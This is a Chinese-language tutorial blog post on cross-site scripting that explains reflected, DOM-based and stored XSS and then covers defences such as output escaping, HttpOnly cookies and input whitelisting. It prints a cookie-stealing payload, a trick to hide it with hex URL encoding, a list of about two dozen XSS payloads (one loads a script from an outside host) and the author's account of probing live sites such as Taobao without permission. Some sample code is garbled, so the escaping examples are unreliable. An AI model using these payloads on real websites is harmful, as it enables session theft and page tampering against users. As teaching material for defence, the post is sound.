攻击方式学习之(1) - 跨站式脚本(Cross-Site Scripting)

最新推荐文章于 2024-03-28 21:26:27 发布

yidangui

最新推荐文章于 2024-03-28 21:26:27 发布

阅读量845

点赞数

分类专栏：安全测试文章标签：安全测试

安全测试专栏收录该内容

6 篇文章 0 订阅

订阅专栏

XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。

使用过ASP的同学一定见过这样的代码：

Hello , & nbsp ;
<%
Response . Write ( Request . Querystring ( "name" ))
%>

假如我传入的name的值为：

< script > x = document . cookie ; alert ( x );</ script >

这样就可以直接盗取用户的cookie。所以我就可以发送一条链接地址让别人去点：

http://www.xxx.com/reg.asp?name=<script>x=document.cookie;alert(x);</script>

当然这样做没有一点隐蔽性，虽然前面的xxx.com瞒过了少数人，但大多数人可以辨认出后面的javascript代码，所以，我只需要将后面的javascript代码转换成URL的16进制，如：

http://www.xxx.com/reg.asp?name=%3C%73%63%72%69%70%74%3E%78%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%61%6C%65%72%74%28%78%29%3B%3C%2F%73%63%72%69%70%74%3E

上面的URL你还认得吗？除非你把它转换出来。（进制转换可以使用Napkin工具，哎，太坏了。。有人问Napkin的下载地址，贴在这里好了：http://www.0x90.org/releases/napkin/Napkin-1.0-Windows.zip）

根本原因

1. 没有对输入进行约束，没有对输出进行编码
2. 没有严格区分“数据”和“代码”

示例

发现大名鼎鼎的淘宝网也存在这样的漏洞，我们在搜索框中输入：

"/><div style="position:absolute;left:0px;top:0px;"><iframe src="http://www.baidu.com" FRAMEBORDER=0 width=1000 height=900/></div><a href="

这样，我们已经修改了淘宝原有的页面，在下面嵌入了百度的首页。效果如图：

使用时机

我尝试在各种不同网站寻找 XSS漏洞， baidu, amazon.cn, youku.com, dangdang.com等等。结果，我发现XSS漏洞非常普遍！其实XSS利用的是网页的回显，即，接收用户的输入，然后再在页面显示用户的输入。总结一下几个可能会出现漏洞的地方：

搜索引擎
留言板
错误页面

通过在上面那些类型的页面输入一些特殊的字符（包括< > / "），如：</?jjkk>，然后在结果页中的源码处搜索是否存在原样的：</?jjkk>，如果存在，恭喜你，发现了一个XSS漏洞。

分类

1. DOM-based cross-site scripting

页面本身包含一些DOM对象的操作，如果未对输入的参数进行处理，可能会导致执行恶意脚本。如下面一些DOM操作：

document . URL
document . URLUnencoded
document . location ( and many of its properties )
document . referrer
window . location ( and many of its properties )

举个例子，假如某个脆弱的页面的代码如下：

<HTML>
    <TITLE> Welcome! </TITLE>
    Hi
    <SCRIPT>
        var pos = document . URL . indexOf ( "name=" ) + 5 ;
        document . write ( document . URL . substring ( pos , document . URL . length ));
    </SCRIPT>
    <BR>
    Welcome to our system
    …
</HTML>

攻击者使用如下的URL访问时，则非常危险：

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

试了一下，貌似IE、FireFox等浏览器默认对<script>alert(document.cookie)</script>进行了编码，阻止了脚本的执行。但是对于DOM操作还是要更加谨慎啊，比如把上面的页面修改一下，安全性就增强了不少：

<SCRIPT>
var pos = document . URL . indexOf ( "name=" ) + 5 ;
var name = document . URL . substring ( pos , document . URL . length );
if ( name . match ( /^[a-zA-Z0-9]$/ ))
{
document . write ( name );
}
else
{
window . alert ( "Security error" );
}
</SCRIPT>

2. Reflected cross-site scripting

也被称为None-Persistent cross-site scripting，即，非持久化的XSS攻击，是我们通常所说的，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接菜能引起。

3. Persistent cross-site scripting

持久化XSS攻击，指的是恶意脚本代码被存储进被攻击的数据库，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。

实施方式

我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX，发现参数XXX原样的出现在了页面源码中：

OK，可以开始做文章了，我们将XXX替换为：abc"/><script>alert('haha')</script><a href="，返回的HTML代码如下：

<input type= "text" class= "Seach" name= "w" value= "abc" /><script> alert ( 'haha' ) </script> <!--" />

这样，<script>alert('haha')</script>被执行了。这里再举例一些XSS攻击行为：

<IMG SRC="javascript:alert('XSS');">
< IMG SRC=javascript:alert('XSS')>
< IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
< IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<< SCRIPT>alert("XSS");//<</SCRIPT>
< iframe src=http://example.com/scriptlet.html <
< INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
< BODY BACKGROUND="javascript:alert('XSS')">
< BODY ONLOAD=alert(document.cookie)>
< BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
< IMG DYNSRC="javascript:alert('XSS')">
< IMG DYNSRC="javascript:alert('XSS')">
< BR SIZE="&{alert('XSS')}">
< IMG SRC='vbscript:msgbox("XSS")'>
< TABLE BACKGROUND="javascript:alert('XSS')">
< DIV STYLE="width: expression(alert('XSS'));">
< DIV STYLE="background-image: url(javascript:alert('XSS'))">
< STYLE TYPE="text/javascript">alert('XSS');</STYLE>
< STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
< ?='<SCRIPT>alert("XSS")</SCRIPT>'?>
< A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
< IMG SRC=javascript:alert('XSS')>
< EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);

更加详细的列表请参见 5

危害

盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其它网站发起攻击

防范

必须明确：一切输入都是有害的，不要信任一切输入的数据。
缓和XSS问题的首要法则是确定哪个输入是有效的，并且拒绝所有别的无效输入。
替换危险字符，如："&", "<", ">", """，"'", "/", "?"，";", ":", "%", "<SPACE>", "=", "+"。各种语言替换的程度不尽相同，但是基本上能抵御住一般的XSS攻击。
1. python的cgi.escape函数：
  
  def escape ( s , quote = None ):
      '''Replace special characters "&", "<" and ">" to HTML-safe sequences.
      If the optional flag quote is true, the quotation mark character (")
      is also translated.'''
      s = s . replace ( "&" , "&" ) # Must be done first!
      s = s . replace ( "<" , "<" )
      s = s . replace ( ">" , ">" )
      if quote :
          s = s . replace ( '"' , """ )
  return s
2. ASP中的Server.HTMLEncode：
  
  < %= Server.HTMLEncode("The paragraph tag: <P> ") %>
3. ASP.NET的Server.HtmlEncode及Server.UrlEncode：
  
  String TestString = "This is a <Test String>." ;
  String EncodedString = Server . HtmlEncode ( TestString );
  Server . UrlEncode ( Request . Url . ToString ());
4. PHP的htmlspecialchars方法：
  
  <?php
  $new = htmlspecialchars ( "<a href='test'>Test</a>" , ENT_QUOTES );
  echo $new ; // <a href='test'>Test</a>
  ?>
5. JAVA中的java.net.URLEncode.encode：
  
  String mytext = java . net . URLEncoder . encode ( "中国" , "utf-8" );
有些网站使用过滤javascript关键字的办法来防止XSS，其实是很不明智的，因为XSS有时候根本就不需要javascript关键字或者对javascript关键字进行格式变化来躲过过滤。
为所有的标记属性加上双引号。应该说这也不是万全之策，只是在转义了双引号的前提下的一道安全保障。比如：
不加双引号时，onclick被执行了：

<a href= http://www.xxx.com/detail.asp?id=2008 οnclick= 'javascrpt:alert(' haha ')' >
加上了双引号，onclick不会被执行：
< a href = "http://www.xxx.com/detail.asp?id=2008 οnclick='javascrpt:alert('haha')'" >
将数据插入到innerText属性中，脚本将不会被执行。如果是innerHTML属性，则必须确保输入是安全的。如ASP.NET中：

<% @ Page Language = "C#" AutoEventWireup = "true" %>
< html >
     < body >
    < span id = "Welcome1" runat = "server" > </ span >
    < span id = "Welcome2" runat = "server" > </ span >
     </ body >
</ html >
< script runat = "server" >
     private void Page_Load ( Object Src , EventArgs e )
     {
    // Using InnerText renders the content safe–no need to HtmlEncode
    Welcome1 . InnerText = "haha" ;
    // Using InnerHtml requires the use of HtmlEncode to make it safe
    Welcome2 . InnerHtml = "Hello, " + Server . HtmlEncode ( "haha" );
     }
</ Script >
使用IE6.0SP1的cookie选项HttpOnly，注意，HttpOnly只能阻止恶意脚本读取cookie，并不能阻止XSS攻击。比如在ASP.NET中：

HttpCookie cookie = new HttpCookie ( "Name" , "ZhangChangrong" );
cookie . Path = "/; HttpOnly" ;
Response . Cookies . Add ( cookie );
使用IE的<IFrame>的Security属性，设置为restricted后，frame中的脚本将不能执行(仅限于IE)。如：

<iframe security= "restricted" src= "http://www.somesite.com/somepage.htm" ></frame>
ASP.NET中的ValidateRequest配置选项。默认情况下，这个功能是开启的，这个功能将会检查用户是否试图在cookie、查询字符串以及HTML表格中设置HTML或脚本。如果请求包含这种潜在的危险输入，就会抛出一个HttpRequestValidationException异常。我在尝试试探当当网的XSS漏洞时发现这个异常信息，可以说当当网使用了ValidateRequest这个选项，或者从另一方面说，也许是无意中启用了这一选项，同时，将错误信息抛出给用户是非常不安全的。
1. 给一个页面设置ValidateRequest选项：
  
  <% @ Page Language = "C#" ValidateRequest = "false" %>
2. 在Machine.config中设置全局ValidateRequest选项，注意，如果在Web.config中重新设置，不会覆盖Machine.config中的这一设置：
  
  < system . web >
  < pages buffer = "true" validateRequest = "true" />
  </ system . web >
3. 让我们来目睹当当网给我们带来的这一盛况：
在一些必须使用到HTML标签的地方，比如公告栏，可以使用其他格式的标示代替，比如论坛中广泛使用的BBCode，用[i]...["i]来表示斜体。
然而，对于一些允许用户输入特定HTML的地方，强烈建议使用正则表达式进行匹配。比如：
if ( /^(?:["s"w"?"!","."'""]*|(?:"<"/"?(?:i|b|p|br|em|pre)">))*$/i )
{
#Cool, it's valid input
}